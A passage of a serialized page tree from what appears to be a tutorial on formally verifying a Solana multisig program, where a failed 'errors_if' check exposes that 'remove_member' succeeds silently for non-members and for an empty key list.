new_index",{"type":23,"tag":314,"props":25499,"children":25500},{"style":354},[25501],{"type":28,"value":1237},{"type":23,"tag":314,"props":25503,"children":25504},{"style":360},[25505],{"type":28,"value":25089},{"type":23,"tag":314,"props":25507,"children":25508},{"style":354},[25509],{"type":28,"value":282},{"type":23,"tag":314,"props":25511,"children":25512},{"style":338},[25513],{"type":28,"value":238},{"type":23,"tag":314,"props":25515,"children":25516},{"style":354},[25517],{"type":28,"value":282},{"type":23,"tag":314,"props":25519,"children":25520},{"style":338},[25521],{"type":28,"value":23050},{"type":23,"tag":314,"props":25523,"children":25524},{"style":354},[25525],{"type":28,"value":282},{"type":23,"tag":314,"props":25527,"children":25528},{"style":338},[25529],{"type":28,"value":25530},"transaction_index;\n",{"type":23,"tag":314,"props":25532,"children":25533},{"class":316,"line":1873},[25534,25538,25542,25546,25550,25554,25558,25563,25567,25572],{"type":23,"tag":314,"props":25535,"children":25536},{"style":360},[25537],{"type":28,"value":19461},{"type":23,"tag":314,"props":25539,"children":25540},{"style":354},[25541],{"type":28,"value":282},{"type":23,"tag":314,"props":25543,"children":25544},{"style":338},[25545],{"type":28,"value":238},{"type":23,"tag":314,"props":25547,"children":25548},{"style":354},[25549],{"type":28,"value":282},{"type":23,"tag":314,"props":25551,"children":25552},{"style":338},[25553],{"type":28,"value":23050},{"type":23,"tag":314,"props":25555,"children":25556},{"style":354},[25557],{"type":28,"value":282},{"type":23,"tag":314,"props":25559,"children":25560},{"style":332},[25561],{"type":28,"value":25562},"set_change_index",{"type":23,"tag":314,"props":25564,"children":25565},{"style":338},[25566],{"type":28,"value":341},{"type":23,"tag":314,"props":25568,"children":25569},{"style":360},[25570],{"type":28,"value":25571},"new_index",{"type":23,"tag":314,"props":25573,"children":25574},{"style":338},[25575],{"type":28,"value":2414},{"type":23,"tag":314,"props":25577,"children":25578},{"class":316,"line":1891},[25579],{"type":23,"tag":314,"props":25580,"children":25581},{"style":338},[25582],{"type":28,"value":386},{"type":23,"tag":24,"props":25584,"children":25585},{},[25586,25588,25593],{"type":28,"value":25587},"First let's establish the ",{"type":23,"tag":94,"props":25589,"children":25591},{"className":25590},[],[25592],{"type":28,"value":19392},{"type":28,"value":25594}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":23,"tag":304,"props":25596,"children":25598},{"code":25597,"language":2233,"meta":7,"className":2234,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[25599],{"type":23,"tag":94,"props":25600,"children":25601},{"__ignoreMap":7},[25602,25609,25656,25663],{"type":23,"tag":314,"props":25603,"children":25604},{"class":316,"line":317},[25605],{"type":23,"tag":314,"props":25606,"children":25607},{"style":338},[25608],{"type":28,"value":23357},{"type":23,"tag":314,"props":25610,"children":25611},{"class":316,"line":370},[25612,25616,25620,25624,25628,25632,25636,25640,25644,25648,25652],{"type":23,"tag":314,"props":25613,"children":25614},{"style":338},[25615],{"type":28,"value":19461},{"type":23,"tag":314,"props":25617,"children":25618},{"style":354},[25619],{"type":28,"value":282},{"type":23,"tag":314,"props":25621,"children":25622},{"style":338},[25623],{"type":28,"value":238},{"type":23,"tag":314,"props":25625,"children":25626},{"style":354},[25627],{"type":28,"value":282},{"type":23,"tag":314,"props":25629,"children":25630},{"style":338},[25631],{"type":28,"value":23050},{"type":23,"tag":314,"props":25633,"children":25634},{"style":354},[25635],{"type":28,"value":282},{"type":23,"tag":314,"props":25637,"children":25638},{"style":338},[25639],{"type":28,"value":20220},{"type":23,"tag":314,"props":25641,"children":25642},{"style":354},[25643],{"type":28,"value":282},{"type":23,"tag":314,"props":25645,"children":25646},{"style":338},[25647],{"type":28,"value":20258},{"type":23,"tag":314,"props":25649,"children":25650},{"style":354},[25651],{"type":28,"value":9710},{"type":23,"tag":314,"props":25653,"children":25654},{"style":338},[25655],{"type":28,"value":18680},{"type":23,"tag":314,"props":25657,"children":25658},{"class":316,"line":380},[25659],{"type":23,"tag":314,"props":25660,"children":25661},{"style":338},[25662],{"type":28,"value":19496},{"type":23,"tag":314,"props":25664,"children":25665},{"class":316,"line":1091},[25666,25670,25674,25678,25682,25686,25690],{"type":23,"tag":314,"props":25667,"children":25668},{"style":321},[25669],{"type":28,"value":19504},{"type":23,"tag":314,"props":25671,"children":25672},{"style":332},[25673],{"type":28,"value":25011},{"type":23,"tag":314,"props":25675,"children":25676},{"style":338},[25677],{"type":28,"value":341},{"type":23,"tag":314,"props":25679,"children":25680},{"style":354},[25681],{"type":28,"value":8840},{"type":23,"tag":314,"props":25683,"children":25684},{"style":338},[25685],{"type":28,"value":23234},{"type":23,"tag":314,"props":25687,"children":25688},{"style":354},[25689],{"type":28,"value":8840},{"type":23,"tag":314,"props":25691,"children":25692},{"style":338},[25693],{"type":28,"value":8845},{"type":23,"tag":24,"props":25695,"children":25696},{},[25697,25699,25704],{"type":28,"value":25698},"And for now let's remove the invariant on the ",{"type":23,"tag":94,"props":25700,"children":25702},{"className":25701},[],[25703],{"type":28,"value":21979},{"type":28,"value":25705}," account:",{"type":23,"tag":304,"props":25707,"children":25709},{"code":25708,"language":2233,"meta":7,"className":2234,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[25710],{"type":23,"tag":94,"props":25711,"children":25712},{"__ignoreMap":7},[25713,25721],{"type":23,"tag":314,"props":25714,"children":25715},{"class":316,"line":317},[25716],{"type":23,"tag":314,"props":25717,"children":25718},{"style":338},[25719],{"type":28,"value":25720},"#[invariant()]\n",{"type":23,"tag":314,"props":25722,"children":25723},{"class":316,"line":370},[25724,25728,25732,25736,25740,25744],{"type":23,"tag":314,"props":25725,"children":25726},{"style":321},[25727],{"type":28,"value":12938},{"type":23,"tag":314,"props":25729,"children":25730},{"style":321},[25731],{"type":28,"value":20388},{"type":23,"tag":314,"props":25733,"children":25734},{"style":2674},[25735],{"type":28,"value":20393},{"type":23,"tag":314,"props":25737,"children":25738},{"style":338},[25739],{"type":28,"value":1242},{"type":23,"tag":314,"props":25741,"children":25742},{"style":354},[25743],{"type":28,"value":8840},{"type":23,"tag":314,"props":25745,"children":25746},{"style":338},[25747],{"type":28,"value":8845},{"type":23,"tag":24,"props":25749,"children":25750},{},[25751],{"type":28,"value":25752},"Let's test this!",{"type":23,"tag":24,"props":25754,"children":25755},{},[25756,25758,25763],{"type":28,"value":25757},"Our ",{"type":23,"tag":94,"props":25759,"children":25761},{"className":25760},[],[25762],{"type":28,"value":19392},{"type":28,"value":25764}," harness produces:",{"type":23,"tag":304,"props":25766,"children":25768},{"code":25767},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[25769],{"type":23,"tag":94,"props":25770,"children":25771},{"__ignoreMap":7},[25772],{"type":28,"value":25767},{"type":23,"tag":24,"props":25774,"children":25775},{},[25776],{"type":28,"value":25777},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":23,"tag":24,"props":25779,"children":25780},{},[25781,25783,25788],{"type":28,"value":25782},"However, remember that since ",{"type":23,"tag":94,"props":25784,"children":25786},{"className":25785},[],[25787],{"type":28,"value":19392},{"type":28,"value":25789}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":23,"tag":24,"props":25791,"children":25792},{},[25793,25795,25800,25802,25807,25809,25814],{"type":28,"value":25794},"Suppose we want to be sure that this condition is the ",{"type":23,"tag":186,"props":25796,"children":25797},{},[25798],{"type":28,"value":25799},"only condition",{"type":28,"value":25801}," in which the function will succeed (i.e. ",{"type":23,"tag":186,"props":25803,"children":25804},{},[25805],{"type":28,"value":25806},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":28,"value":25808},"). We could attempt to verify the other side of this with an ",{"type":23,"tag":94,"props":25810,"children":25812},{"className":25811},[],[25813],{"type":28,"value":19399},{"type":28,"value":25815}," macro such as:",{"type":23,"tag":304,"props":25817,"children":25819},{"code":25818,"language":2233,"meta":7,"className":2234,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[25820],{"type":23,"tag":94,"props":25821,"children":25822},{"__ignoreMap":7},[25823,25830,25877,25884,25891,25938,25945],{"type":23,"tag":314,"props":25824,"children":25825},{"class":316,"line":317},[25826],{"type":23,"tag":314,"props":25827,"children":25828},{"style":338},[25829],{"type":28,"value":23357},{"type":23,"tag":314,"props":25831,"children":25832},{"class":316,"line":370},[25833,25837,25841,25845,25849,25853,25857,25861,25865,25869,25873],{"type":23,"tag":314,"props":25834,"children":25835},{"style":338},[25836],{"type":28,"value":19461},{"type":23,"tag":314,"props":25838,"children":25839},{"style":354},[25840],{"type":28,"value":282},{"type":23,"tag":314,"props":25842,"children":25843},{"style":338},[25844],{"type":28,"value":238},{"type":23,"tag":314,"props":25846,"children":25847},{"style":354},[25848],{"type":28,"value":282},{"type":23,"tag":314,"props":25850,"children":25851},{"style":338},[25852],{"type":28,"value":23050},{"type":23,"tag":314,"props":25854,"children":25855},{"style":354},[25856],{"type":28,"value":282},{"type":23,"tag":314,"props":25858,"children":25859},{"style":338},[25860],{"type":28,"value":20220},{"type":23,"tag":314,"props":25862,"children":25863},{"style":354},[25864],{"type":28,"value":282},{"type":23,"tag":314,"props":25866,"children":25867},{"style":338},[25868],{"type":28,"value":20258},{"type":23,"tag":314,"props":25870,"children":25871},{"style":354},[25872],{"type":28,"value":9710},{"type":23,"tag":314,"props":25874,"children":25875},{"style":338},[25876],{"type":28,"value":18680},{"type":23,"tag":314,"props":25878,"children":25879},{"class":316,"line":380},[25880],{"type":23,"tag":314,"props":25881,"children":25882},{"style":338},[25883],{"type":28,"value":19496},{"type":23,"tag":314,"props":25885,"children":25886},{"class":316,"line":1091},[25887],{"type":23,"tag":314,"props":25888,"children":25889},{"style":338},[25890],{"type":28,"value":19453},{"type":23,"tag":314,"props":25892,"children":25893},{"class":316,"line":1141},[25894,25898,25902,25906,25910,25914,25918,25922,25926,25930,25934],{"type":23,"tag":314,"props":25895,"children":25896},{"style":338},[25897],{"type":28,"value":19461},{"type":23,"tag":314,"props":25899,"children":25900},{"style":354},[25901],{"type":28,"value":282},{"type":23,"tag":314,"props":25903,"children":25904},{"style":338},[25905],{"type":28,"value":238},{"type":23,"tag":314,"props":25907,"children":25908},{"style":354},[25909],{"type":28,"value":282},{"type":23,"tag":314,"props":25911,"children":25912},{"style":338},[25913],{"type":28,"value":23050},{"type":23,"tag":314,"props":25915,"children":25916},{"style":354},[25917],{"type":28,"value":282},{"type":23,"tag":314,"props":25919,"children":25920},{"style":338},[25921],{"type":28,"value":20220},{"type":23,"tag":314,"props":25923,"children":25924},{"style":354},[25925],{"type":28,"value":282},{"type":23,"tag":314,"props":25927,"children":25928},{"style":338},[25929],{"type":28,"value":20258},{"type":23,"tag":314,"props":25931,"children":25932},{"style":354},[25933],{"type":28,"value":1165},{"type":23,"tag":314,"props":25935,"children":25936},{"style":338},[25937],{"type":28,"value":18680},{"type":23,"tag":314,"props":25939,"children":25940},{"class":316,"line":1173},[25941],{"type":23,"tag":314,"props":25942,"children":25943},{"style":338},[25944],{"type":28,"value":19496},{"type":23,"tag":314,"props":25946,"children":25947},{"class":316,"line":1208},[25948,25952,25956,25960,25964,25968,25972],{"type":23,"tag":314,"props":25949,"children":25950},{"style":321},[25951],{"type":28,"value":19504},{"type":23,"tag":314,"props":25953,"children":25954},{"style":332},[25955],{"type":28,"value":25011},{"type":23,"tag":314,"props":25957,"children":25958},{"style":338},[25959],{"type":28,"value":341},{"type":23,"tag":314,"props":25961,"children":25962},{"style":354},[25963],{"type":28,"value":8840},{"type":23,"tag":314,"props":25965,"children":25966},{"style":338},[25967],{"type":28,"value":23234},{"type":23,"tag":314,"props":25969,"children":25970},{"style":354},[25971],{"type":28,"value":8840},{"type":23,"tag":314,"props":25973,"children":25974},{"style":338},[25975],{"type":28,"value":8845},{"type":23,"tag":24,"props":25977,"children":25978},{},[25979,25981,25986],{"type":28,"value":25980},"Let's test this, we just need to run the new ",{"type":23,"tag":94,"props":25982,"children":25984},{"className":25983},[],[25985],{"type":28,"value":19399},{"type":28,"value":25987}," harness:",{"type":23,"tag":304,"props":25989,"children":25991},{"code":25990},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[25992],{"type":23,"tag":94,"props":25993,"children":25994},{"__ignoreMap":7},[25995],{"type":28,"value":25990},{"type":23,"tag":24,"props":25997,"children":25998},{},[25999],{"type":28,"value":26000},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":23,"tag":304,"props":26002,"children":26004},{"code":26003,"language":2233,"meta":7,"className":2234,"style":7},"Account {\n account: Ms {\n threshold: 0,\n authority_index: 0,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: Vec {\n data: ...,\n size: 0,\n },\n },\n info: AccountInfo { ... },\n}\n",[26005],{"type":23,"tag":94,"props":26006,"children":26007},{"__ignoreMap":7},[26008,26019,26038,26057,26076,26095,26114,26133,26152,26171,26190,26210,26229,26236,26243,26270],{"type":23,"tag":314,"props":26009,"children":26010},{"class":316,"line":317},[26011,26015],{"type":23,"tag":314,"props":26012,"children":26013},{"style":2674},[26014],{"type":28,"value":16385},{"type":23,"tag":314,"props":26016,"children":26017},{"style":338},[26018],{"type":28,"value":1449},{"type":23,"tag":314,"props":26020,"children":26021},{"class":316,"line":370},[26022,26026,26030,26034],{"type":23,"tag":314,"props":26023,"children":26024},{"style":360},[26025],{"type":28,"value":24417},{"type":23,"tag":314,"props":26027,"children":26028},{"style":354},[26029],{"type":28,"value":3746},{"type":23,"tag":314,"props":26031,"children":26032},{"style":2674},[26033],{"type":28,"value":20393},{"type":23,"tag":314,"props":26035,"children":26036},{"style":338},[26037],{"type":28,"value":1449},{"type":23,"tag":314,"props":26039,"children":26040},{"class":316,"line":380},[26041,26045,26049,26053],{"type":23,"tag":314,"props":26042,"children":26043},{"style":360},[26044],{"type":28,"value":23071},{"type":23,"tag":314,"props":26046,"children":26047},{"style":354},[26048],{"type":28,"value":3746},{"type":23,"tag":314,"props":26050,"children":26051},{"style":1054},[26052],{"type":28,"value":1201},{"type":23,"tag":314,"props":26054,"children":26055},{"style":338},[26056],{"type":28,"value":1870},{"type":23,"tag":314,"props":26058,"children":26059},{"class":316,"line":1091},[26060,26064,26068,26072],{"type":23,"tag":314,"props":26061,"children":26062},{"style":360},[26063],{"type":28,"value":24457},{"type":23,"tag":314,"props":26065,"children":26066},{"style":354},[26067],{"type":28,"value":3746},{"type":23,"tag":314,"props":26069,"children":26070},{"style":1054},[26071],{"type":28,"value":1201},{"type":23,"tag":314,"props":26073,"children":26074},{"style":338},[26075],{"type":28,"value":1870},{"type":23,"tag":314,"props":26077,"children":26078},{"class":316,"line":1141},[26079,26083,26087,26091],{"type":23,"tag":314,"props":26080,"children":26081},{"style":360},[26082],{"type":28,"value":24477},{"type":23,"tag":314,"props":26084,"children":26085},{"style":354},[26086],{"type":28,"value":3746},{"type":23,"tag":314,"props":26088,"children":26089},{"style":1054},[26090],{"type":28,"value":1201},{"type":23,"tag":314,"props":26092,"children":26093},{"style":338},[26094],{"type":28,"value":1870},{"type":23,"tag":314,"props":26096,"children":26097},{"class":316,"line":1173},[26098,26102,26106,26110],{"type":23,"tag":314,"props":26099,"children":26100},{"style":360},[26101],{"type":28,"value":24497},{"type":23,"tag":314,"props":26103,"children":26104},{"style":354},[26105],{"type":28,"value":3746},{"type":23,"tag":314,"props":26107,"children":26108},{"style":1054},[26109],{"type":28,"value":1201},{"type":23,"tag":314,"props":26111,"children":26112},{"style":338},[26113],{"type":28,"value":1870},{"type":23,"tag":314,"props":26115,"children":26116},{"class":316,"line":1208},[26117,26121,26125,26129],{"type":23,"tag":314,"props":26118,"children":26119},{"style":360},[26120],{"type":28,"value":24517},{"type":23,"tag":314,"props":26122,"children":26123},{"style":354},[26124],{"type":28,"value":3746},{"type":23,"tag":314,"props":26126,"children":26127},{"style":1054},[26128],{"type":28,"value":1201},{"type":23,"tag":314,"props":26130,"children":26131},{"style":338},[26132],{"type":28,"value":1870},{"type":23,"tag":314,"props":26134,"children":26135},{"class":316,"line":1216},[26136,26140,26144,26148],{"type":23,"tag":314,"props":26137,"children":26138},{"style":360},[26139],{"type":28,"value":23084},{"type":23,"tag":314,"props":26141,"children":26142},{"style":354},[26143],{"type":28,"value":3746},{"type":23,"tag":314,"props":26145,"children":26146},{"style":354},[26147],{"type":28,"value":24545},{"type":23,"tag":314,"props":26149,"children":26150},{"style":338},[26151],{"type":28,"value":1870},{"type":23,"tag":314,"props":26153,"children":26154},{"class":316,"line":1301},[26155,26159,26163,26167],{"type":23,"tag":314,"props":26156,"children":26157},{"style":360},[26158],{"type":28,"value":24557},{"type":23,"tag":314,"props":26160,"children":26161},{"style":354},[26162],{"type":28,"value":3746},{"type":23,"tag":314,"props":26164,"children":26165},{"style":321},[26166],{"type":28,"value":8309},{"type":23,"tag":314,"props":26168,"children":26169},{"style":338},[26170],{"type":28,"value":1870},{"type":23,"tag":314,"props":26172,"children":26173},{"class":316,"line":1343},[26174,26178,26182,26186],{"type":23,"tag":314,"props":26175,"children":26176},{"style":360},[26177],{"type":28,"value":24577},{"type":23,"tag":314,"props":26179,"children":26180},{"style":354},[26181],{"type":28,"value":3746},{"type":23,"tag":314,"props":26183,"children":26184},{"style":2674},[26185],{"type":28,"value":20626},{"type":23,"tag":314,"props":26187,"children":26188},{"style":338},[26189],{"type":28,"value":1449},{"type":23,"tag":314,"props":26191,"children":26192},{"class":316,"line":1351},[26193,26198,26202,26206],{"type":23,"tag":314,"props":26194,"children":26195},{"style":360},[26196],{"type":28,"value":26197}," data",{"type":23,"tag":314,"props":26199,"children":26200},{"style":354},[26201],{"type":28,"value":3746},{"type":23,"tag":314,"props":26203,"children":26204},{"style":354},[26205],{"type":28,"value":24545},{"type":23,"tag":314,"props":26207,"children":26208},{"style":338},[26209],{"type":28,"value":1870},{"type":23,"tag":314,"props":26211,"children":26212},{"class":316,"line":1387},[26213,26217,26221,26225],{"type":23,"tag":314,"props":26214,"children":26215},{"style":360},[26216],{"type":28,"value":24598},{"type":23,"tag":314,"props":26218,"children":26219},{"style":354},[26220],{"type":28,"value":3746},{"type":23,"tag":314,"props":26222,"children":26223},{"style":1054},[26224],{"type":28,"value":1201},{"type":23,"tag":314,"props":26226,"children":26227},{"style":338},[26228],{"type":28,"value":1870},{"type":23,"tag":314,"props":26230,"children":26231},{"class":316,"line":1422},[26232],{"type":23,"tag":314,"props":26233,"children":26234},{"style":338},[26235],{"type":28,"value":24619},{"type":23,"tag":314,"props":26237,"children":26238},{"class":316,"line":1430},[26239],{"type":23,"tag":314,"props":26240,"children":26241},{"style":338},[26242],{"type":28,"value":24627},{"type":23,"tag":314,"props":26244,"children":26245},{"class":316,"line":1452},[26246,26250,26254,26258,26262,26266],{"type":23,"tag":314,"props":26247,"children":26248},{"style":360},[26249],{"type":28,"value":24635},{"type":23,"tag":314,"props":26251,"children":26252},{"style":354},[26253],{"type":28,"value":3746},{"type":23,"tag":314,"props":26255,"children":26256},{"style":2674},[26257],{"type":28,"value":24644},{"type":23,"tag":314,"props":26259,"children":26260},{"style":338},[26261],{"type":28,"value":1242},{"type":23,"tag":314,"props":26263,"children":26264},{"style":354},[26265],{"type":28,"value":8840},{"type":23,"tag":314,"props":26267,"children":26268},{"style":338},[26269],{"type":28,"value":24657},{"type":23,"tag":314,"props":26271,"children":26272},{"class":316,"line":1497},[26273],{"type":23,"tag":314,"props":26274,"children":26275},{"style":338},[26276],{"type":28,"value":386},{"type":23,"tag":24,"props":26278,"children":26279},{},[26280],{"type":28,"value":26281},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":23,"tag":24,"props":26283,"children":26284},{},[26285,26287,26293],{"type":28,"value":26286},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":23,"tag":94,"props":26288,"children":26290},{"className":26289},[],[26291],{"type":28,"value":26292},"Ms::remove_member",{"type":28,"value":3746},{"type":23,"tag":304,"props":26295,"children":26297},{"code":26296,"language":2233,"meta":7,"className":2234,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[26298],{"type":23,"tag":94,"props":26299,"children":26300},{"__ignoreMap":7},[26301,26360,26391,26398],{"type":23,"tag":314,"props":26302,"children":26303},{"class":316,"line":317},[26304,26308,26312,26316,26320,26324,26328,26332,26336,26340,26344,26348,26352,26356],{"type":23,"tag":314,"props":26305,"children":26306},{"style":2284},[26307],{"type":28,"value":14821},{"type":23,"tag":314,"props":26309,"children":26310},{"style":360},[26311],{"type":28,"value":25089},{"type":23,"tag":314,"props":26313,"children":26314},{"style":354},[26315],{"type":28,"value":282},{"type":23,"tag":314,"props":26317,"children":26318},{"style":338},[26319],{"type":28,"value":238},{"type":23,"tag":314,"props":26321,"children":26322},{"style":354},[26323],{"type":28,"value":282},{"type":23,"tag":314,"props":26325,"children":26326},{"style":338},[26327],{"type":28,"value":23050},{"type":23,"tag":314,"props":26329,"children":26330},{"style":354},[26331],{"type":28,"value":282},{"type":23,"tag":314,"props":26333,"children":26334},{"style":338},[26335],{"type":28,"value":20220},{"type":23,"tag":314,"props":26337,"children":26338},{"style":354},[26339],{"type":28,"value":282},{"type":23,"tag":314,"props":26341,"children":26342},{"style":332},[26343],{"type":28,"value":8389},{"type":23,"tag":314,"props":26345,"children":26346},{"style":338},[26347],{"type":28,"value":13290},{"type":23,"tag":314,"props":26349,"children":26350},{"style":354},[26351],{"type":28,"value":7828},{"type":23,"tag":314,"props":26353,"children":26354},{"style":1054},[26355],{"type":28,"value":3778},{"type":23,"tag":314,"props":26357,"children":26358},{"style":338},[26359],{"type":28,"value":1449},{"type":23,"tag":314,"props":26361,"children":26362},{"class":316,"line":370},[26363,26367,26371,26375,26379,26383,26387],{"type":23,"tag":314,"props":26364,"children":26365},{"style":2284},[26366],{"type":28,"value":16228},{"type":23,"tag":314,"props":26368,"children":26369},{"style":332},[26370],{"type":28,"value":22756},{"type":23,"tag":314,"props":26372,"children":26373},{"style":338},[26374],{"type":28,"value":341},{"type":23,"tag":314,"props":26376,"children":26377},{"style":2674},[26378],{"type":28,"value":22765},{"type":23,"tag":314,"props":26380,"children":26381},{"style":354},[26382],{"type":28,"value":2737},{"type":23,"tag":314,"props":26384,"children":26385},{"style":2674},[26386],{"type":28,"value":25165},{"type":23,"tag":314,"props":26388,"children":26389},{"style":338},[26390],{"type":28,"value":1025},{"type":23,"tag":314,"props":26392,"children":26393},{"class":316,"line":380},[26394],{"type":23,"tag":314,"props":26395,"children":26396},{"style":338},[26397],{"type":28,"value":386},{"type":23,"tag":314,"props":26399,"children":26400},{"class":316,"line":1091},[26401,26405,26409,26413,26417,26421,26425,26429,26433,26437,26441,26445],{"type":23,"tag":314,"props":26402,"children":26403},{"style":360},[26404],{"type":28,"value":19518},{"type":23,"tag":314,"props":26406,"children":26407},{"style":354},[26408],{"type":28,"value":282},{"type":23,"tag":314,"props":26410,"children":26411},{"style":338},[26412],{"type":28,"value":238},{"type":23,"tag":314,"props":26414,"children":26415},{"style":354},[26416],{"type":28,"value":282},{"type":23,"tag":314,"props":26418,"children":26419},{"style":338},[26420],{"type":28,"value":23050},{"type":23,"tag":314,"props":26422,"children":26423},{"style":354},[26424],{"type":28,"value":282},{"type":23,"tag":314,"props":26426,"children":26427},{"style":332},[26428],{"type":28,"value":24712},{"type":23,"tag":314,"props":26430,"children":26431},{"style":338},[26432],{"type":28,"value":341},{"type":23,"tag":314,"props":26434,"children":26435},{"style":360},[26436],{"type":28,"value":25045},{"type":23,"tag":314,"props":26438,"children":26439},{"style":338},[26440],{"type":28,"value":431},{"type":23,"tag":314,"props":26442,"children":26443},{"style":354},[26444],{"type":28,"value":2409},{"type":23,"tag":314,"props":26446,"children":26447},{"style":338},[26448],{"type":28,"value":2278},{"type":23,"tag":24,"props":26450,"children":26451},{},[26452,26454,26460,26462,26468],{"type":28,"value":26453},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":23,"tag":94,"props":26455,"children":26457},{"className":26456},[],[26458],{"type":28,"value":26459},"Ms::is_member",{"type":28,"value":26461},") and if it is not, it simply skips the removal and returns ",{"type":23,"tag":94,"props":26463,"children":26465},{"className":26464},[],[26466],{"type":28,"value":26467},"Ok(())",{"type":28,"value":282},{"type":23,"tag":304,"props":26470,"children":26472},{"code":26471,"language":2233,"meta":7,"className":2234,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n if let Some(ind) = self.is_member(member) {\n self.keys.remove(ind);\n if self.keys.len() \u003C usize::from(self.threshold) {\n self.threshold = self.keys.len().try_into().unwrap();\n }\n }\n Ok(())\n}\n",[26473],{"type":23,"tag":94,"props":26474,"children":26475},{"__ignoreMap":7},[26476,26540,26599,26636,26695,26763,26770,26777,26788],{"type":23,"tag":314,"props":26477,"children":26478},{"class":316,"line":317},[26479,26483,26487,26491,26495,26499,26503,26507,26511,26516,26520,26524,26528,26532,26536],{"type":23,"tag":314,"props":26480,"children":26481},{"style":321},[26482],{"type":28,"value":12938},{"type":23,"tag":314,"props":26484,"children":26485},{"style":321},[26486],{"type":28,"value":12943},{"type":23,"tag":314,"props":26488,"children":26489},{"style":332},[26490],{"type":28,"value":25011},{"type":23,"tag":314,"props":26492,"children":26493},{"style":338},[26494],{"type":28,"value":341},{"type":23,"tag":314,"props":26496,"children":26497},{"style":354},[26498],{"type":28,"value":1833},{"type":23,"tag":314,"props":26500,"children":26501},{"style":321},[26502],{"type":28,"value":2979},{"type":23,"tag":314,"props":26504,"children":26505},{"style":321},[26506],{"type":28,"value":13044},{"type":23,"tag":314,"props":26508,"children":26509},{"style":338},[26510],{"type":28,"value":778},{"type":23,"tag":314,"props":26512,"children":26513},{"style":360},[26514],{"type":28,"value":26515},"member",{"type":23,"tag":314,"props":26517,"children":26518},{"style":354},[26519],{"type":28,"value":3746},{"type":23,"tag":314,"props":26521,"children":26522},{"style":2674},[26523],{"type":28,"value":20094},{"type":23,"tag":314,"props":26525,"children":26526},{"style":338},[26527],{"type":28,"value":2343},{"type":23,"tag":314,"props":26529,"children":26530},{"style":354},[26531],{"type":28,"value":1015},{"type":23,"tag":314,"props":26533,"children":26534},{"style":2674},[26535],{"type":28,"value":13009},{"type":23,"tag":314,"props":26537,"children":26538},{"style":338},[26539],{"type":28,"value":19569},{"type":23,"tag":314,"props":26541,"children":26542},{"class":316,"line":370},[26543,26547,26552,26557,26561,26566,26570,26574,26578,26582,26587,26591,26595],{"type":23,"tag":314,"props":26544,"children":26545},{"style":2284},[26546],{"type":28,"value":11527},{"type":23,"tag":314,"props":26548,"children":26549},{"style":321},[26550],{"type":28,"value":26551}," let",{"type":23,"tag":314,"props":26553,"children":26554},{"style":2674},[26555],{"type":28,"value":26556}," Some",{"type":23,"tag":314,"props":26558,"children":26559},{"style":338},[26560],{"type":28,"value":341},{"type":23,"tag":314,"props":26562,"children":26563},{"style":360},[26564],{"type":28,"value":26565},"ind",{"type":23,"tag":314,"props":26567,"children":26568},{"style":338},[26569],{"type":28,"value":2343},{"type":23,"tag":314,"props":26571,"children":26572},{"style":354},[26573],{"type":28,"value":1102},{"type":23,"tag":314,"props":26575,"children":26576},{"style":321},[26577],{"type":28,"value":13044},{"type":23,"tag":314,"props":26579,"children":26580},{"style":354},[26581],{"type":28,"value":282},{"type":23,"tag":314,"props":26583,"children":26584},{"style":332},[26585],{"type":28,"value":26586},"is_member",{"type":23,"tag":314,"props":26588,"children":26589},{"style":338},[26590],{"type":28,"value":341},{"type":23,"tag":314,"props":26592,"children":26593},{"style":360},[26594],{"type":28,"value":26515},{"type":23,"tag":314,"props":26596,"children":26597},{"style":338},[26598],{"type":28,"value":367},{"type":23,"tag":314,"props":26600,"children":26601},{"class":316,"line":380},[26602,26607,26611,26615,26619,26624,26628,26632],{"type":23,"tag":314,"props":26603,"children":26604},{"style":321},[26605],{"type":28,"value":26606}," self",{"type":23,"tag":314,"props":26608,"children":26609},{"style":354},[26610],{"type":28,"value":282},{"type":23,"tag":314,"props":26612,"children":26613},{"style":338},[26614],{"type":28,"value":20220},{"type":23,"tag":314,"props":26616,"children":26617},{"style":354},[26618],{"type":28,"value":282},{"type":23,"tag":314,"props":26620,"children":26621},{"style":332},[26622],{"type":28,"value":26623},"remove",{"type":23,"tag":314,"props":26625,"children":26626},{"style":338},[26627],{"type":28,"value":341},{"type":23,"tag":314,"props":26629,"children":26630},{"style":360},[26631],{"type":28,"value":26565},{"type":23,"tag":314,"props":26633,"children":26634},{"style":338},[26635],{"type":28,"value":1025},{"type":23,"tag":314,"props":26637,"children":26638},{"class":316,"line":1091},[26639,26643,26647,26651,26655,26659,26663,26667,26671,26675,26679,26683,26687,26691],{"type":23,"tag":314,"props":26640,"children":26641},{"style":2284},[26642],{"type":28,"value":2527},{"type":23,"tag":314,"props":26644,"children":26645},{"style":321},[26646],{"type":28,"value":13044},{"type":23,"tag":314,"props":26648,"children":26649},{"style":354},[26650],{"type":28,"value":282},{"type":23,"tag":314,"props":26652,"children":26653},{"style":338},[26654],{"type":28,"value":20220},{"type":23,"tag":314,"props":26656,"children":26657},{"style":354},[26658],{"type":28,"value":282},{"type":23,"tag":314,"props":26660,"children":26661},{"style":332},[26662],{"type":28,"value":8389},{"type":23,"tag":314,"props":26664,"children":26665},{"style":338},[26666],{"type":28,"value":25290},{"type":23,"tag":314,"props":26668,"children":26669},{"style":2674},[26670],{"type":28,"value":15841},{"type":23,"tag":314,"